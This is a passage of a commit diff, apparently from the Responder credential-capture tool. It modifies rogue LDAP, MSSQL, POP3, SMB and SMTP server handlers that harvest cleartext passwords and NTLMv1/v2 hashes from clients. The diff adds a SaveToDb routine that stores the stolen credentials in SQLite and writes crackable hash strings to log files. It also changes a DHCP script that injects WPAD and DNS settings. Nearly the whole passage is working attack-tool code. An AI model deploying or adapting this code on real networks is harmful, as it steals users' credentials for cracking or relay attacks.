print text("[LDAP] Password : %s" % color(Password, 3, 0))
|
'type': 'Cleartext',
|
||||||
WritePass = '%s: %s:%s' % (client, UserDomain, Password)
|
'client': client,
|
||||||
WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
|
'user': UserDomain,
|
||||||
|
'cleartext': Password,
|
||||||
|
'fullhash': UserDomain+':'+Password,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[LDAP] Client : %s" % color(client, 3, 0))
|
||||||
|
#print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
|
||||||
|
#print text("[LDAP] Password : %s" % color(Password, 3, 0))
|
||||||
|
#WritePass = '%s: %s:%s' % (client, UserDomain, Password)
|
||||||
|
#WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
|
||||||
|
|
||||||
if sasl == "\xA3":
|
if sasl == "\xA3":
|
||||||
Buffer = ParseNTLM(data,client)
|
Buffer = ParseNTLM(data,client)
|
||||||
|
@ -111,6 +130,7 @@ def ParseLDAPPacket(data, client):
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text('[LDAP] Operation not supported')
|
print text('[LDAP] Operation not supported')
|
||||||
|
|
||||||
# LDAP Server class
|
# LDAP Server class
|
||||||
|
|
|
@ -74,20 +74,42 @@ def ParseSQLHash(data, client):
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||||
WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'MSSQL',
|
||||||
|
'type': 'NTLMv1',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+User,
|
||||||
|
'hash': LMHash+":"+NTHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||||
|
#WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0))
|
|
||||||
print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||||
WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'MSSQL',
|
||||||
|
'type': 'NTLMv2',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+User,
|
||||||
|
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0))
|
||||||
|
#print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||||
|
#WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
|
||||||
|
|
||||||
def ParseSqlClearTxtPwd(Pwd):
|
def ParseSqlClearTxtPwd(Pwd):
|
||||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||||
|
@ -100,19 +122,31 @@ def ParseClearTextSQLPass(data, client):
|
||||||
|
|
||||||
TDS = TDS_Login_Packet(data)
|
TDS = TDS_Login_Packet(data)
|
||||||
|
|
||||||
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
|
SaveToDb({
|
||||||
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
|
'module': 'MSSQL',
|
||||||
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
|
'type': 'Cleartext',
|
||||||
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
|
'client': client,
|
||||||
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
|
'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
|
||||||
WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
|
'user': TDS.UserName,
|
||||||
WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
|
'cleartext': ParseSqlClearTxtPwd(TDS.Password),
|
||||||
|
'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
|
||||||
|
#print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
|
||||||
|
#print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
|
||||||
|
#print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
|
||||||
|
#print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
|
||||||
|
#WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
|
||||||
|
#WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
|
||||||
|
|
||||||
# MSSQL Server class
|
# MSSQL Server class
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQL(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
if settings.Config.Verbose:
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
|
@ -42,10 +42,19 @@ class POP3(BaseRequestHandler):
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == "PASS":
|
||||||
Pass = data[5:].replace("\r\n","")
|
Pass = data[5:].replace("\r\n","")
|
||||||
|
|
||||||
print text("[POP3] Address : %s" % color(self.client_address[0], 3))
|
SaveToDb({
|
||||||
print text("[POP3] Username : %s" % color(User, 3))
|
'module': 'POP3',
|
||||||
print text("[POP3] Password : %s" % color(Pass, 3))
|
'type': 'Cleartext',
|
||||||
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
'client': self.client_address[0],
|
||||||
|
'user': User,
|
||||||
|
'cleartext': Pass,
|
||||||
|
'fullhash': User+":"+Pass,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[POP3] Address : %s" % color(self.client_address[0], 3))
|
||||||
|
#print text("[POP3] Username : %s" % color(User, 3))
|
||||||
|
#print text("[POP3] Password : %s" % color(Pass, 3))
|
||||||
|
#WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||||
|
|
||||||
data = self.SendPacketAndRead()
|
data = self.SendPacketAndRead()
|
||||||
|
|
||||||
|
|
|
@ -120,12 +120,22 @@ def ParseSMBHash(data,client):
|
||||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
|
|
||||||
print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
|
|
||||||
print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||||
WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'SMB',
|
||||||
|
'type': 'NTLMv1-SSP',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
|
||||||
|
#print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||||
|
#print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||||
|
#WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
|
@ -135,12 +145,22 @@ def ParseSMBHash(data,client):
|
||||||
UserLen = struct.unpack('<H',data[117:119])[0]
|
UserLen = struct.unpack('<H',data[117:119])[0]
|
||||||
UserOffset = struct.unpack('<H',data[119:121])[0]
|
UserOffset = struct.unpack('<H',data[119:121])[0]
|
||||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
|
|
||||||
print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
|
|
||||||
print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
|
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||||
WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'SMB',
|
||||||
|
'type': 'NTLMv2-SSP',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
|
||||||
|
#print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||||
|
#print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
|
||||||
|
#WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||||
|
#WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
|
||||||
|
|
||||||
# Parse SMB NTLMv1/v2
|
# Parse SMB NTLMv1/v2
|
||||||
def ParseLMNTHash(data, client):
|
def ParseLMNTHash(data, client):
|
||||||
|
@ -205,11 +225,14 @@ class SMB1(BaseRequestHandler):
|
||||||
if data[0] == "\x81":
|
if data[0] == "\x81":
|
||||||
Buffer = "\x82\x00\x00\x00"
|
Buffer = "\x82\x00\x00\x00"
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
##Negotiate proto answer.
|
# Negociate Protocol Response
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == "\x72\x00":
|
||||||
#Customize SMB answer.
|
# \x72 == Negociate Protocol Response
|
||||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -220,10 +243,11 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Session Setup AndX Request
|
# Session Setup AndX Request
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
IsNT4ClearTxt(data, self.client_address[0])
|
IsNT4ClearTxt(data, self.client_address[0])
|
||||||
|
|
||||||
|
# STATUS_MORE_PROCESSING_REQUIRED
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -234,6 +258,7 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
|
|
||||||
|
# STATUS_SUCCESS
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
if Is_Anonymous(data):
|
if Is_Anonymous(data):
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||||
|
@ -245,7 +270,10 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
# Parse NTLMSSP_AUTH packet
|
||||||
ParseSMBHash(data,self.client_address[0])
|
ParseSMBHash(data,self.client_address[0])
|
||||||
|
|
||||||
|
# Send STATUS_SUCCESS
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Body = SMBSession2Accept()
|
Body = SMBSession2Accept()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -256,9 +284,10 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Tree Connect IPC Answer
|
# Tree Connect AndX Request
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == "\x75\x00":
|
||||||
ParseShare(data)
|
ParseShare(data)
|
||||||
|
# Tree Connect AndX Response
|
||||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||||
Body = SMBTreeData()
|
Body = SMBTreeData()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
|
@ -53,10 +53,19 @@ class ESMTP(BaseRequestHandler):
|
||||||
try: Password = b64decode(data)
|
try: Password = b64decode(data)
|
||||||
except: Password = data
|
except: Password = data
|
||||||
|
|
||||||
print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
|
SaveToDb({
|
||||||
print text("[SMTP] Username : %s" % color(Username, 3))
|
'module': 'SMTP',
|
||||||
print text("[SMTP] Password : %s" % color(Password, 3))
|
'type': 'Cleartext',
|
||||||
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
|
'client': self.client_address[0],
|
||||||
|
'user': Username,
|
||||||
|
'cleartext': Password,
|
||||||
|
'fullhash': Username+":"+Password,
|
||||||
|
})
|
||||||
|
|
||||||
|
#print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
|
||||||
|
#print text("[SMTP] Username : %s" % color(Username, 3))
|
||||||
|
#print text("[SMTP] Password : %s" % color(Password, 3))
|
||||||
|
#WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
|
||||||
|
|
||||||
## FIXME: Close connection properly
|
## FIXME: Close connection properly
|
||||||
|
|
||||||
|
|
|
@ -93,6 +93,9 @@ class Settings:
|
||||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||||
|
|
||||||
|
# Db File
|
||||||
|
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
||||||
|
|
||||||
# Log Files
|
# Log Files
|
||||||
self.SessionLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'SessionLog'))
|
self.SessionLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'SessionLog'))
|
||||||
self.PoisonersLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'PoisonersLog'))
|
self.PoisonersLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'PoisonersLog'))
|
||||||
|
@ -155,6 +158,7 @@ class Settings:
|
||||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||||
self.Upstream_Proxy = options.Upstream_Proxy
|
self.Upstream_Proxy = options.Upstream_Proxy
|
||||||
self.AnalyzeMode = options.Analyze
|
self.AnalyzeMode = options.Analyze
|
||||||
|
self.Verbose = options.Verbose
|
||||||
self.CommandLine = str(sys.argv)
|
self.CommandLine = str(sys.argv)
|
||||||
|
|
||||||
if self.HtmlToInject == None:
|
if self.HtmlToInject == None:
|
||||||
|
@ -196,5 +200,5 @@ class Settings:
|
||||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||||
|
|
||||||
def init():
|
def init():
|
||||||
global Config, Threads
|
global Config
|
||||||
Config = Settings()
|
Config = Settings()
|
||||||
|
|
|
@ -333,7 +333,9 @@ if __name__ == "__main__":
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
print text("[DHCP] %s" % ParseDHCPCode(data[0][42:]))
|
ret = ParseDHCPCode(data[0][42:])
|
||||||
|
if ret:
|
||||||
|
print text("[DHCP] %s" % ret)
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||||
|
|
|
@ -57,4 +57,6 @@ echo "DNS2 IP: $DNS2"
|
||||||
echo "WPAD: $WPADSTR"
|
echo "WPAD: $WPADSTR"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
|
|
||||||
|
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
||||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
||||||
|
|
67
utils.py
67
utils.py
|
@ -19,8 +19,15 @@ import sys
|
||||||
import re
|
import re
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
import time
|
||||||
import settings
|
import settings
|
||||||
|
|
||||||
|
try:
|
||||||
|
import sqlite3
|
||||||
|
except:
|
||||||
|
print "[!] Please install python-sqlite3 extension."
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
|
||||||
if txt.startswith('[*]'):
|
if txt.startswith('[*]'):
|
||||||
|
@ -115,6 +122,66 @@ def WriteData(outfile, data, user):
|
||||||
outf2.write("\n")
|
outf2.write("\n")
|
||||||
outf2.close()
|
outf2.close()
|
||||||
|
|
||||||
|
# Return true if the data is to be printed, else false
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
|
# Creating the DB if it doesn't exist
|
||||||
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
if len(result['user']) < 2:
|
||||||
|
return
|
||||||
|
|
||||||
|
if len(result['cleartext']):
|
||||||
|
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||||
|
else:
|
||||||
|
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||||
|
|
||||||
|
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
|
||||||
|
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if count == 0:
|
||||||
|
|
||||||
|
# Write JtR-style hash string to file
|
||||||
|
with open(logfile,"a") as outf:
|
||||||
|
outf.write(result['fullhash'])
|
||||||
|
outf.write("\n")
|
||||||
|
outf.close()
|
||||||
|
|
||||||
|
# Update database
|
||||||
|
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
# Print output
|
||||||
|
if count == 0 or settings.Config.Verbose:
|
||||||
|
|
||||||
|
if len(result['client']):
|
||||||
|
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||||
|
if len(result['hostname']):
|
||||||
|
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
||||||
|
if len(result['user']):
|
||||||
|
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
||||||
|
if len(result['cleartext']):
|
||||||
|
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
||||||
|
if len(result['hash']):
|
||||||
|
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
||||||
|
else:
|
||||||
|
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue